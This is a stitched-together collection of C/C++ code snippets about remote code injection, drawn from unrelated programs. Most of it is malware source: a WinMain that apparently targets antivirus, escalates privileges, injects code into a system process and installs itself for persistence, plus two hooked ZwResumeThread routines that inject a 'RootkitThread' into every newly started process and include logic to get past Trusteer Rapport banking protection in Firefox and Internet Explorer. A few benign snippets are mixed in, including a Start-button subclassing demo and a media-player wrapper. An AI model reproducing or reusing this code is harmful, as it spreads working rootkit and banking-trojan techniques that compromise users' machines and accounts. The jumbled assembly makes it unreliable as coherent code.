//-----------------------------------------------------------------
BOOL __stdcall WinMain(HINSTANCE, HINSTANCE, PTSTR, int){
char buf[128];
AVPsex();
GetSystemDirectory(buf, 128);
strcat(buf, "\\");
strcat(buf, MY_MACRO_RECORD_NAME);
strcat(buf, ".exe\0");
GetMaxPriv();
// InstallAndRegisterDrivers();
if(GetPrivilege("SeDebugPrivilege")){
if(FileExist(buf)){
InjectCode(ProcIdByPriv(0), &EnterPoint, NULL);
}else{
InjectCode(ProcIdByPriv(0), &EnterPoint, NULL);
AddIntoSystem(MY_MACRO_RECORD_NAME, 1);
AddIntoSystem(MY_MACRO_RECORD_NAME, 0);
return FALSE;
}
}else{
if(FileExist(buf)){
InjectCode(ProcIdByPriv(0), &EnterPoint, NULL);
}else{
InjectCode(ProcIdByPriv(0), &EnterPoint, NULL);
AddIntoSystem(MY_MACRO_RECORD_NAME, 1);
AddIntoSystem(MY_MACRO_RECORD_NAME, 0);
return FALSE;
}
}
return FALSE;
}
BOOL CodeInjectionPlayer::GetListeningInfo(LISTENINGTOINFO *lti)
{
if (enabled)
InjectCode();
return ExternalPlayer::GetListeningInfo(lti);
}
NTSTATUS WINAPI ZwResumeThreadHook( HANDLE hThread, PULONG PreviousSuspendCount )
{
DWORD dwPid = GetPidByThread( hThread );
if ( dwPid != -1 && dwPid != (DWORD)pGetCurrentProcessId() )
{
if ( !FindPid( dwPid ) )
{
OBJECT_ATTRIBUTES ObjectAttributes = { sizeof( ObjectAttributes ) } ;
CLIENT_ID ClientID;
ClientID.UniqueProcess = (HANDLE)dwPid;
ClientID.UniqueThread = 0;
HANDLE hProcess = NULL;
if ( pZwOpenProcess( &hProcess, PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE, &ObjectAttributes, &ClientID ) == STATUS_SUCCESS )
{
DWORD dwAddr = InjectCode( hProcess, RootkitThread );
if ( dwAddr != -1 )
{
if ( (NTSTATUS)pZwQueueApcThread(hThread, (LPTHREAD_START_ROUTINE)dwAddr, NULL, NULL, NULL ) == STATUS_SUCCESS )
AddPid( dwPid );
}
pZwClose( hProcess );
}
}
}
return ZwResumeThreadReal( hThread, PreviousSuspendCount );
}
//-----------------------------------------------
// MainDlgProc
// Notice: dialog procedure
//
BOOL CALLBACK MainDlgProc (HWND hDlg, // handle to dialog box
UINT uMsg, // message
WPARAM wParam, // first message parameter
LPARAM lParam ) // second message parameter
{
switch (uMsg) {
case WM_COMMAND:
if (!bInj) {
bInj = InjectCode( hStart );
if (bInj)
::SetDlgItemText( hDlg, IDC_BUTTON, TEXT("Eject") );
}
else {
bInj = !EjectCode();
if (!bInj)
::SetDlgItemText( hDlg, IDC_BUTTON, TEXT("Let's Inject") );
}
break;
case WM_CLOSE:
// be polite and restore the old window procedure (but
// note that we could leave the START button subclassed, too)
if( bInj )
bInj = !EjectCode( );
if( bInj )
::MessageBox( NULL, TEXT("Injected code could not be removed"),TEXT(" Error"),MB_OK );
::EndDialog (hDlg, 0);
break;
}
return false;
}
/**************************************
* Inject code into a remote process. *
**************************************/
BOOL Inject()
{
#ifdef INJECT_DLL
return (InjectDll() != 0);
#else
return (InjectCode() != 0);
#endif
}
NTSTATUS WINAPI ZwResumeThreadHook( HANDLE hThread, PULONG PreviousSuspendCount )
{
NTSTATUS nt;
DWORD dwPid = GetPidByThread( hThread );
DWORD ProcessHash = GetProcessHashOfId(dwPid);
BOOL IsAntiRapport = IsRunAntiRapport() & ( (ProcessHash == 0x7712feae) | (ProcessHash == 0x250DFA8F) ); // 0x7712feae / 0x250DFA8F - ХЕШ фф / ИЕ
if (IsAntiRapport){
nt = ZwResumeThreadReal( hThread, PreviousSuspendCount );
}
if ( dwPid != -1 && dwPid != (DWORD)pGetCurrentProcessId() )
{
if ( !FindPid( dwPid ) )
{
OBJECT_ATTRIBUTES ObjectAttributes = { sizeof( ObjectAttributes ) } ;
CLIENT_ID ClientID;
ClientID.UniqueProcess = (HANDLE)dwPid;
ClientID.UniqueThread = 0;
HANDLE hProcess = NULL;
if ( pZwOpenProcess( &hProcess, PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE, &ObjectAttributes, &ClientID ) == STATUS_SUCCESS )
{
DWORD dwAddr;
if( pGetProcessId(hProcess) != pGetCurrentProcessId())
{
if (IsAntiRapport){
AddPid( dwPid );
dwAddr = InjectCode4( hProcess, RootkitThread );
}else
{
dwAddr = InjectCode( hProcess, RootkitThread );
if ( dwAddr != -1 )
{
if ( (NTSTATUS)pZwQueueApcThread( hThread, (LPTHREAD_START_ROUTINE)dwAddr, NULL, NULL, NULL ) == STATUS_SUCCESS )
AddPid( dwPid );
}
AddPid( dwPid );
};
};
pZwClose( hProcess );
}
}
}
return (IsAntiRapport)? nt : ZwResumeThreadReal( hThread, PreviousSuspendCount ) ;
}
